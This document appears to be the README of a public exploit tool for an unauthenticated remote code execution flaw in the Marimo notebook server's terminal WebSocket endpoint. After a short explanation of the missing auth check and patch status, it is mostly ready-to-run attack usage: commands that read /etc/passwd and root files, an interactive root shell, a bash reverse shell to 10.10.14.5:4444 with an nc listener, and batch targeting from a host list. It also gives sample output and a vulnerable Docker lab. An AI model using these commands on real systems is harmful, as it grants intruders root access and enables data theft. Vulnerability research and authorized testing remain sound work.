
Exploit for Marimo pre-auth RCE via terminal WebSocket, providing command execution, interactive PTY shell, and reverse shell capabilities for authorized penetration testing.
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
WebSocket Unauthenticated RCE | github.com/Ghxstsec/CVE-2026-39987
Marimo (19.6k ⭐) is an open-source reactive Python notebook server. Versions ≤ 0.20.4 expose a terminal WebSocket endpoint (/terminal/ws) that completely skips authentication, even when auth is enabled on the server.
A single unauthenticated WebSocket connection yields a full PTY interactive shell. In default Docker deployments, commands execute as root.
Status: Patched in
0.23.0— marimo-team/marimo@c24d480
The /terminal/ws endpoint lacks the validate_auth() call present in every other authenticated endpoint:
# ❌ /terminal/ws — no auth check (vulnerable)
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
# No authentication check!
await websocket.accept() # accepts directly
child_pid, fd = pty.fork() # spawns a PTY shell
# ✅ /ws — correctly authenticated
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth(): # auth enforced
return
Marimo's AuthenticationMiddleware marks unauthenticated connections as UnauthenticatedUser but does not reject them — enforcement depends entirely on per-endpoint decorators or validate_auth() calls. /terminal/ws has neither.
1. Connect to ws(s)://TARGET/terminal/ws → no token required
2. websocket.accept() → connection accepted
3. pty.fork() → PTY shell spawned
4. Send any command → arbitrary RCE as root
| Software | Vulnerable | Patched |
|---|---|---|
| Marimo | ≤ 0.20.4 | ≥ 0.23.0 |
pip install -r requirements.txt
python3 CVE-2026-39987.py -u https://target.htb
python3 CVE-2026-39987.py -u target.htb:2718
python3 CVE-2026-39987.py -u wss://target.htb/terminal/ws
python3 CVE-2026-39987.py -u target.htb -c "cat /root/root.txt"
python3 CVE-2026-39987.py -u target.htb -c "cat /etc/passwd"
Drop directly into an interactive shell over the WebSocket — no listener needed:
python3 CVE-2026-39987.py -u target.htb -i
[+] Interactive shell — type commands, Ctrl+C or 'exit' to quit
root@target:/# id
uid=0(root) gid=0(root) groups=0(root)
root@target:/# whoami
root
When using a reverse shell payload, detach the process from the PTY with nohup ... &
so it survives the WebSocket connection closing:
# Set up listener first
nc -lvnp 4444
# Then fire the payload
python3 CVE-2026-39987.py -u target.htb \
-c "nohup bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' &"
⚠️ Without
nohup ... &, the shell process is tied to the PTY and gets killed when the WebSocket closes. Use-ifor a direct shell ornohupfor reverse shells.
python3 CVE-2026-39987.py -l targets.txt -c "id" -t 3
-u URL, --url URL single target URL or host
-l LIST, --list LIST file with targets, one per line
-c CMD, --cmd CMD command to execute (default: id && cat /root/root.txt)
-p PATH, --path PATH WebSocket endpoint path (default: /terminal/ws)
-t SEC, --timeout SEC seconds of silence before giving up (default: 2)
-d SEC, --delay SEC post-connect delay before draining banner (default: 1)
-i, --interactive interactive PTY shell — keeps connection open
--verify enable SSL certificate verification (disabled by default)
-q, --quiet suppress status messages, output only
$ python3 CVE-2026-39987.py -u https://nb-1be3782a8afd3ad5.cohort.htb
_______ ________ ___ ____ ___ _____ _____ ____ ____ ____
/ ____/ | / / ____/ |__ \ / __ \__ \ / ___/ |__ // __ \/ __ \( __ )
/ / | | / / __/________/ // / / /_/ // __ \______ /_ </ /_/ / /_/ / __ |
/ /___ | |/ / /__/_____/ __// /_/ / __// /_/ /_____/__/ /\__, /\__, / /_/ /
\____/ |___/_____/ /____/\____/____/\____/ /____//____//____/\____/
[*] Target : wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws
[*] Mode : command
[*] Command : id && cat /root/root.txt
[*] Connecting...
[*] Draining banner...
[+] Sending payload...
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
HTB{...}
FROM python:3.12-slim
RUN pip install --no-cache-dir marimo==0.20.4
RUN mkdir -p /app/notebooks
RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py
WORKDIR /app/notebooks
EXPOSE 2718
CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
docker build -t marimo-vuln .
docker run -p 2718:2718 marimo-vuln
python3 CVE-2026-39987.py -u ws://localhost:2718
This tool is provided for educational and authorized penetration testing purposes only.
The author is not responsible for any misuse or damage caused by this tool.
Always obtain proper authorization before testing any system you do not own.